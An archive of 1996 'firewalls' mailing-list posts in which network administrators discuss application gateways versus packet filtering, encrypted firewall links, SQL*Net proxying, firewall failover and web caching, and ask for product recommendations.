>his first attack scenario. I don't see a difference between FW-to-FW
>encription and putting two HEB's between two FW. HEB's only provides
>encrypted tunnel beetwen FWs, and that's all. Or there is some other
>catch?
>
>Gaus

You are incorrect in your assumption.  The difference is that the firewall 
performs applications filtering of the connections _in_addition_to_ FW->FW 
encryption (which is accomplished via the HEB or a firewall which performs 
FW->FW encryption).  

The encrypted link helps reduce MITM (Man-In-The-Middle) attacks such as 
Node Spoofing, Session Hijacking, etc.  

Filtering the applications essentially treats the other internal network 
as an untrusted network (like the Internet) and helps to reduce the risks 
by providing an extra measure of security.  This also helps to contain any 
damage in the event that the other network is contanimated (hacker, Worm, 
etc.).

Best Regards,


Frank


<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Management & Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com/fortified
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Mon Mar  4 05:30:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA22675 for firewalls-outgoing; Mon, 4 Mar 1996 05:13:25 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA22669 for <firewalls@GreatCircle.com>; Mon, 4 Mar 1996 05:13:19 -0800 (PST)
Received: from pm2-09.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA03008; Mon, 4 Mar 96 08:09:33 -0500
Date: Mon, 4 Mar 96 08:09:33 -0500
Message-Id: <9603041309.AA03008@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: iea@mari.co.uk (Ian.Alder)
From: Frank Willoughby <frankw@in.net>
Subject: Re: Firewalls-Digest V5 #134
Cc: firewalls@GreatCircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Verily, at 09:49 AM 3/4/96 +0000, Ian Alder did write:
>I have seen a number of articles in the network
>press regarding firewalls that were not as secure
>as you would like to think that they are.
>
>Has anyone out there seriously tried to break
>thru firewall systems?
>
>Could the results be posted to this list?
>
>Are there any good packages out there to break firewalls?
>

Most of the above can be accomplished via a little research.  
In order to combat an opponent effectively, you must first 
understand their capabilities.  The easiest way to figure 
out which firewalls are secure is to figure out what the 
vulnerabilities are and then check to see which firewalls 
are immune to these vulnerabilites. 


Here's a couple of resources about firewall vulnerabilities
and implementation issues/"Gotchas":

Cheswick & Bellovin's excellent book 
"Firewalls & Internet Security"
ISBN: 0-201-63357-4
Cost: @30 US Dollars

Steven Bellovin's equally excellent paper
"Security Problems in the TCP/IP Protocol Suite"
ftp from ftp.research.att
(I think it is in the /dist/internet_security directory)
The file is ipext.ps.Z (compressed postscript file)
Cost: Free 

Fortified Networks Inc.'s Firewall Evaluator
(Firewall Evaluation Checklist w/documentation)
(Contact me or visit my home page for more info)
Cost: $250 US Dollars

Best Regards,


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Management & Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com/fortified
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Mon Mar  4 05:45:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA22697 for firewalls-outgoing; Mon, 4 Mar 1996 05:13:45 -0800 (PST)
Received: from iez.com (mail.iez.com [194.218.38.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA22682 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 05:13:32 -0800 (PST)
Received: by iez.com (AIX 3.2/UCB 5.64/4.03)
          id AA10914; Mon, 4 Mar 1996 14:12:28 +0100
Received: from spibm02(172.16.13.62) by iez.com via smap (V1.3)
	id sma010656; Mon Mar  4 14:12:11 1996
Received: from iez.com by spibm02 (AIX 3.2/UCB 5.64/4.03)
          id AA17965; Mon, 4 Mar 1996 14:06:41 +0100
Message-Id: <9603041306.AA17965@spibm02>
Received: from inhps-a by iez.com with SMTP
	(1.37.109.4/16.2) id AA15839; Mon, 4 Mar 96 14:06:41 +0100
Received: by inhps-a
	(1.38.193.3/16.2) id AA16048; Mon, 4 Mar 96 14:06:39 +0100
From: Rolf Weber <weber@iez.com>
Subject: Re: Eternal war: gateway versus filtering
To: mjr@v-one.com
Date: Mon, 4 Mar 1996 14:06:38 +0100 (MEZ)
Cc: firewalls@greatcircle.com (firewalls)
In-Reply-To: <199603031638.LAA08371@clark.net> from "Marcus J. Ranum" at Mar 3, 96 11:38:40 am
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> 	The original idea of an application gateway was that it
> gave you a few things a simple router-based firewall didn't:
> 	1) Since you were working at a TCP level, the view of
> 	your traffic was instantly converted to connection
> 	oriented, which made life a lot easier.
> 	2) Since you were mediating the connection, you could
> 	put extra logging or security features into the proxy,
> 	which you can't do in a router.
> 	3) It was easier to run under a debugger.
> 
yes, this (were|are) advantages from the view of developping.
for end-users like me, there is another advantage:
application gateways are much easier to understand, while packet
filtering gateways are almost a 'black box' for most folks.
and while it's MHO that's very important for a firewalled site to
understand how they're protected, this is a very basic and important
advantage.
maybe all other advantages will disappear soon (or yet now), but this
one will stay.

> 
> that the application level proxy doesn't "know" about. I'm
> using sendmail as an example here, but it could be any
> service. :( If you have a TELNET proxy and I talk to it and
> then it connects me to a system behind it with a buggy telnetd,
> then I can still break your machine if I somehow manage to
> authenticate or steal an authenticated connection.
> 
i don't think it's quite the same, there is a little difference:
in general, everybody and every host is allowed to mail to the
protected site, so an attacker needs not to break something else
before starting a sendmail attack.
if someone wants to exploit an internal buggy telnetd, he first has
to break into the telnet proxy...and in such a case, it's even a
bad situation, the attacker can telnet to other ports (ok, you could
deny this with a patched proxy).
incoming telnet is indeed a difficult problem, really hard to solve 
sufficiently.
sendmail (or other mailer) bugs could be avoided by placing the
mailserver outside and to let the users take their mail from there
with a pluged pop or another, more secure and encrypting service.
but god forbid, i don't do so :-)

rolf
-- 
-----------------------------------------
Rolf Weber <weber@iez.com> | All I ask is a chance
IEZ AG   D-64625 Bensheim  | to prove that money
++49-6251-1309-113         | can't make me happy.

From firewalls-owner  Mon Mar  4 06:17:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA24245 for firewalls-outgoing; Mon, 4 Mar 1996 06:06:33 -0800 (PST)
Received: from habanero.jmu.edu (habanero.jmu.edu [134.126.70.210]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA24234; Mon, 4 Mar 1996 06:06:28 -0800 (PST)
Message-Id: <199603041406.GAA24234@miles.greatcircle.com>
Received: by habanero.jmu.edu
	(1.37.109.16/16.2) id AA101758286; Mon, 4 Mar 1996 09:04:46 -0500
Date: Mon, 4 Mar 1996 09:04:46 -0500
From: gary flynn <gary@habanero.jmu.edu>
To: firewalls-owner@GreatCircle.COM, pauck@wmd.de
Subject: Re: SQL*Net proxy?
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> From: Vinci CHOU <vkmchou@HK.Super.NET>
> gary flynn wrote:
> > 
> > Oracle servers that are configured as mulithreaded wil use dynamic
> > ports. Several firewall vendors are working with Oracle to develop
> > a SQLnet proxy. I don't know the timeframe.
> 
> The Oracle SQL*Net manuel mentioned V2 added support of asynchronous
> data send/receive.  This capability was added to support the Oracle7
> multi-threaded server.  Gary, is this the thing you are refering to ?
> However, when I asked Oracle, we've already mentioned that we are
> using V1 and still they gave the reply that the port number for
> the shadow process cannot be determined !
> 

I'm not familiar with "asynchronous send/receive".

> caution.  Since it acts only as a data pipe, ....   In a sense, plug-gw
> is similar to adding a configuration rule to a router that permits
> traffic only between two systems on a single port, except that it
> logs all transactions."
> If it is true, I can't see how it can handle dynamic port numbers.  Can
> any one explain it to me ?
> 

This is true and it cannot handle dynamic port numbers. If you're not
running multithreaded servers, then it will probably work as the port 
is static.

As someone mentioned previously, Oracle has a document explaining the
issues with SQLnet and firewalls in fairly good detail. The document
name is "SQL*Net and Firewalls" and is dated October 1995. It is labeled
"Part C10451". The following is an excerpt from that document:

"When the IP port number of the SQL*Net connection can be determined in advance,
such as 1521, then connection can be permitted with some degree of security.
Systems running multi-threaded servers, pre-spawned servers, or ones with
architectures that do not support IP port sharing, require dynamic port allocation
which tends to prevent connections. Firewall support where IP port redirection
is employed requires an intelligent filter to monitor the port redirection
information during the connect phase so that the filter can selectively open
up the required port. Alternatively, a wide range of ports would have to be 
opened in advance, which would severely compromise security. In an application
proxy solution the proxy itself handles IP port redirection issues."

The architecture support mentioned above implies operating system and
TCP/IP implementation. I've *heard* that AIX has this limitation.

gary

From firewalls-owner  Mon Mar  4 07:16:39 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA25447 for firewalls-outgoing; Mon, 4 Mar 1996 06:52:23 -0800 (PST)
Received: from diablo.ppp.de (diablo.ppp.de [193.141.101.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA25442 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 06:52:18 -0800 (PST)
Received: from wmdhh by diablo.ppp.de with uucp
	(Smail3.1.28.1 #1) id m0ttbau-000QXsC; Mon, 4 Mar 96 15:50 MET
Received: from rs3.wmd.de by wmdhh with smtp
	(Smail3.1.26.7 #3) id m0ttcBR-0007XHC; Mon, 4 Mar 96 16:28 CET
Received: by rs3.wmd.de (AIX 3.2/UCB 5.64/4.03.01)
          id AA21559; Mon, 4 Mar 1996 15:12:48 +0100
From: pauck@rs3.wmd.de (Marco Pauck)
Message-Id: <9603041412.AA21559@rs3.wmd.de>
Subject: Re: SQL*Net proxy?
To: gary@habanero.jmu.edu (gary flynn)
Date: Mon, 4 Mar 1996 15:12:48 +0100 (MEZ)
Cc: firewalls@greatcircle.com
In-Reply-To: <199603041415.PAA09234@gate1.wmd.de> from "gary flynn" at Mar 4, 96 09:04:46 am
Reply-To: pauck@wmd.de
X-Mailer: ELM [version 2.4 PL20]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> As someone mentioned previously, Oracle has a document explaining the
> issues with SQLnet and firewalls in fairly good detail. The document
> name is "SQL*Net and Firewalls" and is dated October 1995. It is labeled
> "Part C10451". The following is an excerpt from that document:
> 
> "When the IP port number of the SQL*Net connection can be determined in advance,
> such as 1521, then connection can be permitted with some degree of security.
> Systems running multi-threaded servers, pre-spawned servers, or ones with
> architectures that do not support IP port sharing, require dynamic port allocation
> which tends to prevent connections. Firewall support where IP port redirection
> is employed requires an intelligent filter to monitor the port redirection
> information during the connect phase so that the filter can selectively open
> up the required port. Alternatively, a wide range of ports would have to be 
> opened in advance, which would severely compromise security. In an application
> proxy solution the proxy itself handles IP port redirection issues."
> 
> The architecture support mentioned above implies operating system and
> TCP/IP implementation. I've *heard* that AIX has this limitation.

I should mention that we use plug-gw with AIX 3.2.5 without problems.
No, I don't know about AIX 4.1.

	Marco
-- 
Marco Pauck - WMD GmbH Hamburg, Germany - http://www.wmd.de/
e-mail: pauck@wmd.de, phone: +49-40-58958-120, fax: +49-40-58958-199
Life would be so much easier if we could just see the source code.

From firewalls-owner  Mon Mar  4 08:17:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA26963 for firewalls-outgoing; Mon, 4 Mar 1996 07:37:22 -0800 (PST)
Received: from wonderland.epic.co.uk (wonderland.epic.co.uk [194.159.80.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA26941 for <firewalls-digest@GreatCircle.COM>; Mon, 4 Mar 1996 07:37:14 -0800 (PST)
Received: from post.epic.co.uk by wonderland.epic.co.uk (5.x/SMI-SVR4)
	id AA19409; Mon, 4 Mar 1996 15:35:53 GMT
Received: from systems_pc8.epic.co.uk by post.epic.co.uk with smtp
	(Smail3.1.28.1 #3) id m0ttcNl-000DgVC; Mon, 4 Mar 96 15:41 GMT
Message-Id: <m0ttcNl-000DgVC@post.epic.co.uk>
Date: Mon, 4 Mar 96 15:41 GMT
X-Sender: steve@post.epic.co.uk
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls-digest@GreatCircle.COM
From: Steve Phelps <steve@epic.co.uk>
Subject: VirusWall
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Has anyone used VirusWall for Solaris 2.X?

Any recommendations or dont's?

-------------------------------------------------------------------------
Steve Phelps
Senior Technical Development Engineer
EMG Limited
52 The Old Steine
Brighton, UK.

Voice:	+44 1273 728686 extn. 406
Fax:	+44 1273 821567

		GPF encountered in module MICROSOFT.DLL
		Stack contents: ";;@|Where Do You Want to Go Today?_&..."


From firewalls-owner  Mon Mar  4 08:23:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA27900 for firewalls-outgoing; Mon, 4 Mar 1996 08:00:59 -0800 (PST)
Received: from reachit.com (calvin.reachit.com [199.126.187.102]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA27893 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 08:00:51 -0800 (PST)
Received: Smail 3.1.29.1 running on reachit.com        
	Router: match_mx_hosts 
	Transport: smtp 
	Message size: 1978 
	Mesage-ID: m0ttcdR-000zNrC 
	Processed at: Mon, 4 Mar 96 10:57 EST
Date: Mon, 4 Mar 1996 10:57:17 -0500 (EST)
From: N D Ghaznavi <ndg@reachit.com>
X-Sender: ndg@calvin.apparel.org
To: firewalls@greatcircle.com
Subject: Re: Firewall Back-up
In-Reply-To: <199603022004.AA12098@minerva1.bull.it>
Message-ID: <Pine.LNX.3.91.960304105306.2969I-100000@calvin.apparel.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Sat, 2 Mar 1996, Guido Villa wrote:

> In order to get high-availability target this config should be set-up:
> 
> 
> OUT NET
> ----------------------------------------------------------------------
>             |                       | 
>             | .1                    | .2
>         ---------               ---------
>         |       |               |       |
>         |       |               |       |
>         |master |               |backup |
>         ---------               ---------
>             |                       |
> IN NET      |                       |
> ----------------------------------------------------------------------
> 
> "master" could crash or physical (tcp-ip down) or logical (telnet down).
>                      --                        --
>   
> "backup" should be able to start automatically.
> 
> Thinking about DNS reconfiguration to be activated as "backup" detects 
> "master"'s failures (physical/logical), which kind of solution is known?

What about associating multiple ip's with your machine i.e. 
master.dom.com has x.x.x.1 and x.x.x.2 associated with it.  When the 
master goes down slave comes up, and routing just works... (assuming no 
hardcoded IPs... probably a bad assumption!).
 
> I'm thinking for automatic updating of file "named" (ip-address .1 changed
> with .2).


--n d ghaznavi-----------------------------------------------------------
  System Administrator                                  ndg@cadlink.com   
--cadlink.com--------reachit.com--------ghaznavi.com--------apparel.org--


From firewalls-owner  Mon Mar  4 08:31:03 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA28319 for firewalls-outgoing; Mon, 4 Mar 1996 08:14:50 -0800 (PST)
Received: from srv-internet.ssb.it (srv-internet.ssb.it [192.106.128.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA28314 for <Firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 08:14:45 -0800 (PST)
Received: by srv-internet.ssb.it (8.6.11/SSB/UX-1.00)
	id RAA17794; Mon, 4 Mar 1996 17:30:32 +0100
Received: from email.ssb.it(192.106.129.170) by srv-internet.ssb.it via smap (V1.3)
	id sma017792; Mon Mar  4 17:30:27 1996
Message-ID: <n1386162118.24605@email.ssb.it.>
Date: 4 Mar 1996 17:22:26 U
From: "Fabio Omenigrandi" <Fabio_Omenigrandi@email.ssb.it>
Subject: Searching for a programmabl
To: "FireWalls" <Firewalls@GreatCircle.COM>
X-Mailer: Mail*Link SMTP/QM 3.0.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     S
        S
          B         Comunicazione interna                   4-03-1996   17:15
Oggetto:   Searching for a programmable Security Card

Hi all,

I'm searching for a programmable Security Card to use to build Electronic
Commerce in Internet. If someone know a company
that build such module please send me an email, it's very important.
This Security Card has to be compatible with ISA (PCI) bus and it has to be
implement RSA and DES algorithm.

Thanks to all in advance.


From firewalls-owner  Mon Mar  4 08:48:54 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA28119 for firewalls-outgoing; Mon, 4 Mar 1996 08:06:34 -0800 (PST)
Received: from inet1.tek.com (inet1.tek.com [134.62.48.21]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA28105 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 08:06:26 -0800 (PST)
Received: by inet1.tek.com id <AA28563@inet1.tek.com>; Mon, 4 Mar 1996 08:04:54 -0800
Received: from tektronix.tek.com(134.62.48.24) by inet1 via smap (V1.3)
	id sma024702; Mon Mar  4 08:04:41 1996
Received: from orca.wv.tek.com by tektronix.TEK.COM (4.1/8.2)
	id AA01824; Mon, 4 Mar 96 08:04:40 PST
Received: from trouble.WV.TEK.COM by orca.wv.tek.com (4.1/8.2)
	id AA20136; Mon, 4 Mar 96 08:06:46 PST
Received: by trouble.WV.TEK.COM (4.1/8.0)
	id AA02708; Mon, 4 Mar 96 08:03:07 PST
Date: Mon, 4 Mar 1996 08:03:06 -0800 (PST)
From: Kent Dahlgren <kent@trouble.WV.TEK.COM>
To: firewalls@GreatCircle.COM
Subject: IRC - possible problem.
In-Reply-To: <199603041221.NAA04469@gavroche.enst.fr>
Message-Id: <Pine.SUN.3.91.960304070830.2686A-100000@trouble>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


On Mon, 4 Mar 1996, Kamel Khadri wrote:

> get me off this list please

Hahahaha...what a way to start the week.  They are so cute when they are 
desperate.

Anyhow..I got a question for the group.  Anyone here familiar with IRC? 
Thats IRC, as in Internet Relay Chat.  The thing that far too many people
waste thier lives doing.  Anyhow, I personally witnessed a "hack" that
involves taking control of a remote person's...I hate to say keyboard, but
that's about what it is.  The attacker being able to execute remote
commands from his (her) keyboard, on the victims system.  Now I know that
all of you administrators out there would never dream of allowing IRC, but
in case you all know somebody that would do such a thing, and they had
experienced anything like complaints of a "temporarily locked keyboard" or
any other boogie men like that, let me know.  


dogman@trouble.wv.tek.com

Patiently awaiting your return, Mr. Sick Pup.  

       "Any ideas expressed here may not reflect those of my employers"
______________________________________________________________________________
______ T E K T R O N I X _ C P I D _ T E C H N I C A L _ S U P P O R T _______
                      /
 Voice: 1.800.835.6100             E-mail: support@colorprinters.tek.com
    Fax: 1.503.685.3063                WWW: www.tek.com
     BBS: 1.503.685.4504            E-World: Keyword Tektronix
      HAL: 1.503.682.7450                AOL: Keyword Tektronix
   Service: 1.800.835.6100                FTP: ftp.tek.com
______________________________________________________________________________


From firewalls-owner  Mon Mar  4 10:30:56 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA29687 for firewalls-outgoing; Mon, 4 Mar 1996 08:44:55 -0800 (PST)
Received: from guardian (guardian.ecstech.com [204.241.131.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA29681 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 08:44:51 -0800 (PST)
Received: from [140.229.16.111] by guardian (SMI-8.6/SMI-SVR4)
	id LAA29830; Mon, 4 Mar 1996 11:39:38 -0500
Date: Mon, 4 Mar 1996 11:39:38 -0500
X-Sender: rayw@guardian.ecstech.com
Message-Id: <v01530500ad60863e1d85@[140.229.16.111]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@greatcircle.com
From: ray.wilson@ecstech.com (Ray Wilson)
Subject: Network Access Security Analysis Consultant
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I am looking to find a consultant to join a team analyzing network security
vulnerabilities.  Please follow-up by direct email.  The project will be to
complete a comprehensive analysis of the client's network systems. Thank
you.

ray.wilson@ecstech.com



From firewalls-owner  Mon Mar  4 10:50:21 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA03865 for firewalls-outgoing; Mon, 4 Mar 1996 09:56:59 -0800 (PST)
Received: from uuneo.neosoft.com (uuneo.neosoft.com [206.109.1.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id JAA03857 for <firewalls@GreatCircle.COM>; Mon, 4 Mar 1996 09:56:54 -0800 (PST)
Received: from ris1.UUCP (ficc@localhost) by uuneo.neosoft.com (8.7.4/8.7.4) with UUCP id LAA04427 for GreatCircle.COM!firewalls; Mon, 4 Mar 1996 11:11:03 -0600 (CST)
Received: by ris1.nmti.com (smail2.5)
	id AA16693; 4 Mar 96 10:51:28 CST (Mon)
Received: from sonic.nmti.com (peter@sonic.nmti.com [198.178.0.2]) by web.nmti.com (8.6.12/8.6.9) with SMTP id KAA21966; Mon, 4 Mar 1996 10:20:33 -0600
Received: by sonic.nmti.com; id AA23938; Mon, 4 Mar 1996 10:21:23 -0600
From: peter@nmti.com (Peter da Silva)
Message-Id: <9603041621.AA23938@sonic.nmti.com.nmti.com>
Subject: Re: Handling IP addressing conflicts with cascaded proxies
To: chatel.marc@a1_annecy.frmrc.aeo.mts.dec.com (MARC CHATEL @AEO)
Date: Mon, 4 Mar 1996 10:21:23 -0600 (CST)
Cc: firewalls@GreatCircle.COM, rapoport@iway.fr
In-Reply-To: <21648040306991/6714513@FRMRC> from "MARC CHATEL @AEO" at Mar 4, 96 08:37:01 am
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> More importantly (everybody, hope that IPV6 comes in fast enough
> to minimize this), how will we handle cases where N > 2 IP internetworks
> have conflicting network numbers and need to be interconnected?

Renumber them so they don't conflict.

From firewalls-owner  Mon Mar  4 10:50:42 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA02891 for firewalls-outgoing; Mon, 4 Mar 1996 09:35:02 -0800 (PST)
Received: from gateway.kellogg.com (gateway.kellogg.com [198.108.149.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA02686 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 09:31:42 -0800 (PST)
Received: by gateway.kellogg.com id AA09359
  (InterLock SMTP Gateway 3.0 for firewalls@greatcircle.com);
  Mon, 4 Mar 1996 12:26:35 -0500
Received: by gateway.kellogg.com (Protected-side Proxy Mail Agent-1);
  Mon, 4 Mar 1996 12:26:35 -0500
Mime-Version: 1.0
Date: Mon, 4 Mar 1996 08:25:55 -0500
Message-Id: <13b14b70@cornelius.scp.com>
From: Alex.Eveleigh@kellogg.com (Alex Eveleigh)
Subject: Novell Standards Framework
To: firewalls@greatcircle.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Description: cc:Mail note part
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

     Hello Everyone,
     
     I know this request is a bit off topic, but I thought that since 
     standards is an important part of security, some of you may be able to 
     point me in the right direction.
     
     We are defining our Novell standards (specifically for 4.x NDS) from 
     the ground up. I will be responsible for the security piece and we 
     would like to know if there is anywhere that we could get either a 
     sample of some standards that others have defined or even a framework 
     to start from. These standards will be for everything not just 
     security standards.
     
     If anyone has some information they would be willing to share or knows 
     where we might get this type of information, that would give us a jump 
     start in the process of creating these standards, and it would be 
     greatly appreciated.
     
     Thanks,
     
     Alex

From firewalls-owner  Mon Mar  4 11:10:29 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA05828 for firewalls-outgoing; Mon, 4 Mar 1996 10:32:14 -0800 (PST)
Received: from xetron.com (xetron.com [204.242.42.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA05815 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 10:32:07 -0800 (PST)
Received: (from uucp@localhost) by xetron.com (8.6.10/gw-950515) id NAA11267 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 13:30:30 -0500
Received: from kgw2.xetron.com(129.228.20.253) by gate129.xetron.com via smap (V1.3)
	id sma011261; Mon Mar  4 13:30:06 1996
Received: (from news@localhost) by kgw2.xetron.com (8.6.10/h-950420) id NAA03461 for firewalls@greatcircle.com; Mon, 4 Mar 1996 13:30:04 -0500
From: Dave Steele <daves@xetron.com>
Subject: Re: Web Caching Proxy Servers
Message-ID: <daves-0403961321110001@dss_mac.xetron.com>
Nntp-Posting-Host: dss_mac.xetron.com
Organization: Xetron Corp.
References: <26407.199603040941@gpo.gb.swissbank.com>
To: firewalls@greatcircle.com
Date: Mon, 4 Mar 1996 18:21:11 GMT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In article <26407.199603040941@gpo.gb.swissbank.com>,
boardmr@gb.swissbank.com (Richard Boardman) wrote:

> I'm looking at web caching proxy servers on behalf of my company.  
>  
...
> I'm interested in the following aspects :-
...
>  
> * performance considerations
>         -- cache configuration, consistency methods and tuning
>         -- number of users
>         -- throughput (requests/second)

I can't comment on throughput, but our network cache hit rate is very poor
(about 10% with a 50 MB cache). So we are getting little benefit from the
cache processing. If you have over 10-20 users, you should expect about
the same number.

I only keep it around because there is very little maintenance involved,
and the cache is invisible to the end users.

-- 
Dave Steele - daves@xetron.com
Xetron Corp.
460 W. Crescentville Road
Cincinnati, Ohio 45246

From firewalls-owner  Mon Mar  4 11:32:36 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA01210 for firewalls-outgoing; Mon, 4 Mar 1996 09:04:41 -0800 (PST)
Received: from NUki (nuki.netuse.de [193.98.110.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA01180 for <firewalls@greatcircle.com>; Mon, 4 Mar 1996 09:04:21 -0800 (PST)
Received: from white by Mail.NetUSE.de with uucp
	(SMail3.1.29.0 #5) ID m0ttdjL-0009H0C: Mon, 4 Mar 96 18:07 MET
Received: by white.schulung.netuse.de (Smail3.1.29.0 #2)
	id m0ttcXP-0008vDC; Mon, 4 Mar 96 16:51 MET
Received: from GATEWAY by white.schulung.netuse.de with netnews
	for firewalls@greatcircle.com (firewalls@greatcircle.com)
To: firewalls@greatcircle.com
Date: Mon, 4 Mar 1996 15:46:48 GMT
From: kris@schulung.netuse.de (=?ISO-8859-1?Q?Kristian_K=F6hntopp?=)
Message-ID: <Dnr2I1.89A@white.schulung.netuse.de>
Organization: =?ISO-8859-1?Q?entf=E4llt?=
References: <199603040900.BAA11989@miles.greatcircle.com>
Subject: Re: Eternal war: gateway versus filtering
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

M.J.Ranum writes:
>	So -- application level firewalls and dynamic
>packet filters are basically the same thing as far as I
>am concerned, for outgoing access. For incoming data,
>you need to look at the application and how/if it can
>hurt you, and, at this point, I wouldn't rely on my
>firewall to protect me.

Hmm, along your lines of argumentation application level
gateways and dynamic packet filters are basically the same
thing. And if you are using plug gateways as an advanced way of
implementing access control lists, there should be no big
difference between OSI layer 7 gates and layer 4 gates.

A proper application level gateway has more information than
anything operating on layer 4, though. And if it decides to make
use of this advanced knowledge (that is: if it implements the
protocol spoken on this connection instead of simply shuffling
bytes to the real application behind the firewall) it has more
opportunities to check, log and control the connections going
inside.


Take mail for example: If you were using a plug-gw to connect
your incoming SMTP port to some sendmail behind the firewall,
nothing is really won. The plug-gw might be able to filter out
some incoming hosts, but this is nothing you want to do with
incoming mail. Since the protocol spoken on the incoming
connection is not checked by the plug-gw, any attack to the
sendmail behind the firewall is still possible.

If you were using something like SMAP on the incoming SMTP port,
you are operating at OSI layers 5 and 6. The gateway already does
know about the protocol spoken at this port and can recognize
and catch any protocol violations - something a packet filter
will never be able to do.

And if you were using something like MIMEsweeper on the incoming
SMTP port, you are operating at OSI layer 7: The gateway now has
some (admittedly limited) idea about the content of the messages
themselves, that are transferred through it. It is able to scan
the content of the messages for some unwanted characteristics
and hold these messages back.


The key here is to make use of the more advanced state
information of the higher communication layers. A plug-gw
ignores this additional information: While it is an
"application", it acts basically acts as a some kind of packet
filter. Only something more advanced that actually knows about
the application protocols and the contents transferred can make
use of the additional higher level protocol information and make
decisions based on this information.

If you were to create some kind of secure http proxy for
example, it would be a good idea to really parse the URLs passed
to you instead of simply shuffling them to the server on the
other side. If the URL passed to you had for example CGI
parameters attached, you could find out shell metacharacters in
them and try to kill them or translate them into their
%-representations or reject all further requests from this site.


Of course this contradicts to a certain degree the "keep it
simple stupid" approach presented by Cheswick/Bellovin: An
application level gateway thatz actually tries to implement the
protocol spoken at the port it guards is certainly more complex
than a simple plug-gw and runs a higher risk of hiding some
nasty bug somewhere inside...

Kristian
-- 
Kristian Koehntopp, Wassilystrasse 30, 24113 Kiel, +49 431 688897
">just a lil' jonk mail to test if i can post this server
 Ya, siems set ju can post sis server. Bat sies is se wrong gruup!
 Test schud be sent tu a local Testgruup or de.test.
 Bai se way, you forgot to fill in yur Rielnaime."
  -- 072437008-0001@t-online.de, max@didi.tng.oche.de, de.newusers.questions

